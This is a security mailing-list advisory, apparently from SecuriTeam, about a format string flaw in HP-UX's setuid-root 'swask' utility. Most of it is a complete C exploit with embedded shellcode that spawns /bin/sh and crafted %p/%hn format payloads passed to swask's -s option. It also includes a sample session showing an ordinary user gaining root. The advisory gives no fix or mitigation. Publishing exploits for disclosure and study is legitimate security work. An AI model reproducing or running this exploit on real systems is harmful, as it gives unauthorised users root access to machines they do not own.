[EXPL] HP-UX Swask Format String Local Root Exploit



The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



HP-UX Swask Format String Local Root Exploit
------------------------------------------------------------------------


SUMMARY

HP-UX 'swask' contains an exploitable format string vulnerability. The
'swask' utility is installed setuid root by default. Specifically the
vulnerability is in the handling of the "-s" optional arguement which is
passed to a format function as verbatim.

DETAILS

Exploit:
/* HP-UX swask format string local root exploit
* ============================================
* HP-UX 'swask' contains an exploitable format string
* vulnerability. The 'swask' utility is installed setuid
* root by default. Specifically the vulnerability is in
* the handling of the "-s" optional arguement which is
* passed to a format function as verbatim.
*
* Example.
* $ uname -a
* HP-UX hpux B.11.11 U 9000/785 2012383315 unlimited-user license
* $ id
* uid=102(user) gid=20(users)
* $ ./prdelka-vs-HPUX-swask
* [ HP-UX 11i 'swask' local root exploit
* ======= 01/20/06 10:19:49 EST BEGIN swask SESSION (non-interactive)
* <SNIP>
*
* ======= 01/20/06 10:19:50 EST END swask SESSION (non-interactive)
*
* $ id
* uid=0(root) gid=3(sys) euid=102(user) egid=20(users)
* $
*
* - prdelka
*/

char shellcode[]=
"\xeb\x5f\x1f\xfd\x0b\x39\x02\x99\xb7\x5a\x40\x22"
"\x0f\x40\x12\x0e\x20\x20\x08\x01\xe4\x20\xe0\x08"
"\xb4\x16\x70\x16""/bin/sh";

int main(){
char *d, *c, *b,*a,*envp;
int i,pid;
printf("[ HP-UX 11i 'swask' local root exploit\n");
switch(pid = fork()){
case -1:
perror("fork");
case 0:
a=(char*)malloc(2048);
memset(a,0,2048);
sprintf(a,"AAAAA%c%c%c%c",0x7a,0xec,0x44,0x38);
for(i=0;i<103;i++) strcat(a,"%p");
envp=0;
execle("/usr/sbin/swask","swask","-s",a,0,envp);
break;
default:
sleep(1);
b=(char*)malloc(2048);
memset(b,0,2048);
for(i=0;i<102;i++) strcat(b,"%p");
strcat(b,"%31799u%hn");
a=(char*)malloc(2048);
memset(a,0,2048);
d=a;
for(i=0;i<39;i++)strcat(a,"A");
d+=39;
for(i=0;i<strlen(shellcode);i++) *d++=shellcode[i];
envp=0;
execle("/usr/sbin/swask","swask","-s",a,"-s",b,0,envp);
}
}


ADDITIONAL INFORMATION

The original article can be found at:
<https://prdelka.blackart.org.uk/exploitz/prdelka-vs-HPUX-swask.c>
https://prdelka.blackart.org.uk/exploitz/prdelka-vs-HPUX-swask.c



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • [UNIX] Perdition IMAP Proxy str_vwrite Format String Vulnerability
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Perdition IMAP Proxy str_vwrite Format String Vulnerability ... the actual number of format identifiers is compared to ...
    (Securiteam)
  • [UNIX] CDE Mailer argv[0] Format String
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... CDE Mailer suffers from a format string vulnerability due to improper ... Solaris implementation of CDE Mailer. ...
    (Securiteam)
  • [UNIX] IBM AIX auditselect Local Format String Vulnerability
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Local exploitation of a format string vulnerability in the auditselect ... The vulnerability specifically exists due to an improperly used formatted ... The vendor has not released a patch for this issue, however, the following ...
    (Securiteam)
  • [NT] Tftpd SEND and GET Format String Vulnerability
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... A format string vulnerability in Tftpd32 causes DoS when a malformed SEND ...
    (Securiteam)
  • [UNIX] Trend Micro VirusWall Buffer Overflow in VSAPI Library
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... buffer overflow vulnerability in VSAPI library allows arbitrary code ... is called "vscan" which is set suid root by default. ... permissions and thus granted all local users the privilege to execute the ...
    (Securiteam)